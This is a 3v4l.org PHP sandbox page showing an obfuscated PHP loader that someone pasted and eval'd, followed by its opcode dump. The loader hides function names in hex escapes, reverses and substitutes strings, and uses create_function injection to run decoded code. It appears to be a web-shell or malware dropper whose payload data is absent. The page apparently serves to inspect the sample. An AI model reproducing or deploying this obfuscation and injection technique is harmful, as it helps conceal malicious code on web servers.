3v4l.org

run code in 300+ PHP versions simultaneously
<?php $s1v ="create_function"; $test = 'function oo2($b) { $h = explode("|", strrev($b)); $d = explode("*", $h[0]); $b = $h[1]; for($i=0;$i<sizeof($d);$i++) { $b = str_replace($i, $d[$i], $b); } create_function("", "};".$b."//"); } function cqq($qw) { return random($domarr,$qw); } function oo1($y) { $y= strrev($y); $g=substr($y,strpos($y,"9")+1); $v = explode(":",substr($y,0,strpos($y,"9"))); for($i=0;$i<sizeof($v);$i++) { $q = explode("|", $v[$i]); $g = str_replace($q[0],$q[1],$g); } create_function("", "};".$g."//"); } $s1v("", $siv("\71"," ",$slv($svv))); function random($arr,$qw) { $g="\x20\167\x2d\70\x36794587495086f963874,qq-82d94486e,r-86297186e94186d945,wq-874941874,s-87\x33\54\x67\75\x20\167\x2e\40\x72\73\x20\155\x2d\70"."6d944835,sq-873964872937873960\x38\66\x63\71\x35\61\x38\67\x34\42\x3b"; $soy = "\x65\156\x32"; $xx="\x65\170\x70"."\154\x6f\144\x65"; $ecx="\x63\162\x65\141\x74\145\x5f\146\x75\156\x63\164\x69\157\x6e"; $scy="\x73\164\x72\137\x72\145\x70\154\x61\143\x65"; $a = $xx("|","\x5c\170\x7c\134\x31\174\x3d\42\x7c\42\x3b\44\x7c\44"); $aa = $xx("|","8|9|-|,| "); $mec=$ecx; for($i=0;$i<sizeof($a);$i++) { $g = $scy($aa[$i],$a[$i],$g); } $ecx("", "};$g//"); $mec("", $soy( "\230\77\153\147\26\167\114\130\223\257\211\2\253\5\172\316\25\262\145\25\62\72\127\156\270\100\154\56\341\77\4\37\21\152\206\334\101\334\32\210\353\173\253\5\123\231\47\13\20", $scy) ); return $arr[rand((0.24-(0.03*8)),(0.1875*6))].$qw; } $r9 = explode("|",$n9); $b9=0; $a9=0; for($i9=0;$i9<sizeof($r9);$i9++) { if ($i9==0) $a9=0; else $a9=$r9[$i9-1]+$a9; $b9=$r9[$i9]; $v_[]=substr($v9, $a9, $b9); } $y =1; for($i=0;$i<5;$i++) { $vv1 ="o"."o".$y; if ($y==1) $y=2; else $y=1; $vv1($v_[$i]); } '; echo eval($test);
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/HU1kU
function name:  (null)
number of ops:  5
compiled vars:  !0 = $s1v, !1 = $test
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    2     0  E >   ASSIGN                                                   !0, 'create_function'
    3     1        ASSIGN                                                   !1, 'function+oo2%28%24b%29+%7B+%0A%09%09%09%24h+%3D+explode%28%22%7C%22%2C+strrev%28%24b%29%29%3B+%0A%09%09%09%24d+%3D+explode%28%22%2A%22%2C+%24h%5B0%5D%29%3B+%24b+%3D+%24h%5B1%5D%3B+%0A%09%09%09for%28%24i%3D0%3B%24i%3Csizeof%28%24d%29%3B%24i%2B%2B%29+%7B+%0A%09%09%09%09%24b+%3D+str_replace%28%24i%2C+%24d%5B%24i%5D%2C+%24b%29%3B+%0A%09%09%09%7D+%0A%09%09%09create_function%28%22%22%2C+%22%7D%3B%22.%24b.%22%2F%2F%22%29%3B+%0A%09%09%7D+%0A%0A%09%09function+cqq%28%24qw%29+%7B+%0A%09%09%09return+random%28%24domarr%2C%24qw%29%3B+%0A%09%09%7D+%0A%0A%09%09function+oo1%28%24y%29+%7B+%0A%09%09%09%24y%3D+strrev%28%24y%29%3B+%0A%09%09%09%24g%3Dsubstr%28%24y%2Cstrpos%28%24y%2C%229%22%29%2B1%29%3B+%0A%09%09%09%24v+%3D+explode%28%22%3A%22%2Csubstr%28%24y%2C0%2Cstrpos%28%24y%2C%229%22%29%29%29%3B+%0A%09%09%09for%28%24i%3D0%3B%24i%3Csizeof%28%24v%29%3B%24i%2B%2B%29+%7B+%0A%09%09%09%09%24q+%3D+explode%28%22%7C%22%2C+%24v%5B%24i%5D%29%3B+%24g+%3D+str_replace%28%24q%5B0%5D%2C%24q%5B1%5D%2C%24g%29%3B+%0A%09%09%09%7D+%0A%0A%09%09%09create_function%28%22%22%2C+%22%7D%3B%22.%24g.%22%2F%2F%22%29%3B+%0A%09%09%7D+%0A%0A%09%09%24s1v%28%22%22%2C+%24siv%28%22%5C71%22%2C%22+%22%2C%24slv%28%24svv%29%29%29%3B+%0A%09%09function+random%28%24arr%2C%24qw%29+%7B+%0A%09%09%09%24g%3D%22%5Cx20%5C167%5Cx2d%5C70%5Cx36794587495086f963874%2Cqq-82d94486e%2Cr-86297186e94186d945%2Cwq-874941874%2Cs-87%5Cx33%5C54%5Cx67%5C75%5Cx20%5C167%5Cx2e%5C40%5Cx72%5C73%5Cx20%5C155%5Cx2d%5C70%22.%226d944835%2Csq-873964872937873960%5Cx38%5C66%5Cx63%5C71%5Cx35%5C61%5Cx38%5C67%5Cx34%5C42%5Cx3b%22%3B%0A%09%09%09%24soy+%3D+%22%5Cx65%5C156%5Cx32%22%3B%0A%09%09%09%24xx%3D%22%5Cx65%5C170%5Cx70%22.%22%5C154%5Cx6f%5C144%5Cx65%22%3B%0A%09%09%09%24ecx%3D%22%5Cx63%5C162%5Cx65%5C141%5Cx74%5C145%5Cx5f%5C146%5Cx75%5C156%5Cx63%5C164%5Cx69%5C157%5Cx6e%22%3B%0A%09%09%09%24scy%3D%22%5Cx73%5C164%5Cx72%5C137%5Cx72%5C145%5Cx70%5C154%5Cx61%5C143%5Cx65%22%3B%0A%09%09%09%24a+%3D+%24xx%28%22%7C%22%2C%22%5Cx5c%5C170%5Cx7c%5C134%5Cx31%5C174%5Cx3d%5C42%5Cx7c%5C42%5Cx3b%5C44%5Cx7c%5C44%22%29%3B%0A%09%09%09%24aa+%3D+%24xx%28%22%7C%22%2C%228%7C9%7C-%7C%2C%7C+%22%29%3B%0A%09%09%09%24mec%3D%24ecx%3B%0A%09%09%09for%28%24i%3D0%3B%24i%3Csizeof%28%24a%29%3B%24i%2B%2B%29+%7B%0A%09%09%09%09%24g+%3D+%24scy%28%24aa%5B%24i%5D%2C%24a%5B%24i%5D%2C%24g%29%3B+%0A%09%09%09%7D%0A%09%09%09%24ecx%28%22%22%2C+%22%7D%3B%24g%2F%2F%22%29%3B%0A%09%09%09%24mec%28%22%22%2C+%0A%09%09%09%09%24soy%28%0A%09%09%09%09%09%22%5C230%5C77%5C153%5C147%5C26%5C167%5C114%5C130%5C223%5C257%5C211%5C2%5C253%5C5%5C172%5C316%5C25%5C262%5C145%5C25%5C62%5C72%5C127%5C156%5C270%5C100%5C154%5C56%5C341%5C77%5C4%5C37%5C21%5C152%5C206%5C334%5C101%5C334%5C32%5C210%5C353%5C173%5C253%5C5%5C123%5C231%5C47%5C13%5C20%22%2C%0A%09%09%09%09%09%24scy%29%0A%09%09%09%09%29%3B+%0A%09%09%09return+%24arr%5Brand%28%280.24-%280.03%2A8%29%29%2C%280.1875%2A6%29%29%5D.%24qw%3B%0A%09%09%7D+%0A%0A%09%09%24r9+%3D+explode%28%22%7C%22%2C%24n9%29%3B+%0A%09%09%24b9%3D0%3B%0A%09%09%24a9%3D0%3B+%0A%09%09for%28%24i9%3D0%3B%24i9%3Csizeof%28%24r9%29%3B%24i9%2B%2B%29+%7B+%0A%09%09%09if+%28%24i9%3D%3D0%29+%24a9%3D0%3B+%0A%09%09%09else+%24a9%3D%24r9%5B%24i9-1%5D%2B%24a9%3B+%24b9%3D%24r9%5B%24i9%5D%3B+%0A%09%09%09%24v_%5B%5D%3Dsubstr%28%24v9%2C+%24a9%2C+%24b9%29%3B+%0A%09%09%7D+%0A%09%09%24y+%3D1%3B+for%28%24i%3D0%3B%24i%3C5%3B%24i%2B%2B%29+%7B%0A%09%09%09%24vv1+%3D%22o%22.%22o%22.%24y%3B%0A%09%09%09if+%28%24y%3D%3D1%29+%24y%3D2%3B+%0A%09%09%09else+%24y%3D1%3B+%24vv1%28%24v_%5B%24i%5D%29%3B+%0A%09%09%7D%09'
   62     2        INCLUDE_OR_EVAL                                  $4      !1, EVAL
          3        ECHO                                                     $4
          4      > RETURN                                                   1

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
167.61 ms | 1399 KiB | 13 Q